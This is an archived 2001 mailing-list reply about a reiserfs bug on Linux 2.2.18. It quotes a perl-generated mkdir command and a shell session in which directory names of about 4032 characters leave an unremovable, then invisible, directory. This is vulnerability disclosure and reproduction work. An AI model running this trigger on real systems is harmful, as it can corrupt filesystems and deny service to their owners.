Re: [BUGTRAQ] major security bug in reiserfs (may affect SuSE Linux)

["John H. Robinson, IV" <jhriv@ucsd.edu>]

On Wed, Jan 10, 2001 at 12:42:01AM +0100, Marc Lehmann wrote:
> 
> Basically, you do:
> 
> mkdir "$(perl -e 'print "x" x 768')"

[jaqque@osiris:/tmp/chk]% uname -a            
Linux osiris 2.2.18 [classified] Sat Jan 6 11:19:04 PST 2001 i586 unknown
[jaqque@osiris:/tmp/chk]% mkdir "$(perl -e 'print "x" x 768')"
[jaqque@osiris:/tmp/chk]% ls -la
total 2
drwxrwxr-x    3 jaqque   jaqque        819 Jan  9 21:55 .
drwxrwxrwt   10 root     root          371 Jan  9 21:54 ..
drwxrwxr-x    2 jaqque   jaqque         35 Jan  9 21:55 x...
[jaqque@osiris:/tmp/chk]% rm -rf x*
[jaqque@osiris:/tmp/chk]% mkdir "$(perl -e 'print "x" x 4033')"
mkdir: cannot create directory `x....x': File name too long
[jaqque@osiris:/tmp/chk]% mkdir "$(perl -e 'print "x" x 4032')"
[jaqque@osiris:/tmp/chk]% rm -rf x*
[jaqque@osiris:/tmp/chk]% mkdir "$(perl -e 'print "x" x 4032')"
mkdir: cannot create directory `x....x': File exists
zsh: exit 255   mkdir "$(perl -e 'print "x" x 4032')"
[jaqque@osiris:/tmp/chk]% ls -la
total 4
drwxrwxr-x    3 jaqque   jaqque       4083 Jan  9 21:56 .
drwxrwxrwt   10 root     root          371 Jan  9 21:54 ..
[jaqque@osiris:/tmp/chk]% 


no oops, but a directory that cannot be removed.

-john

linux kernel 2.2.18 with reiserfs-3.5.29 patch
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
Please read the FAQ at http://www.tux.org/lkml/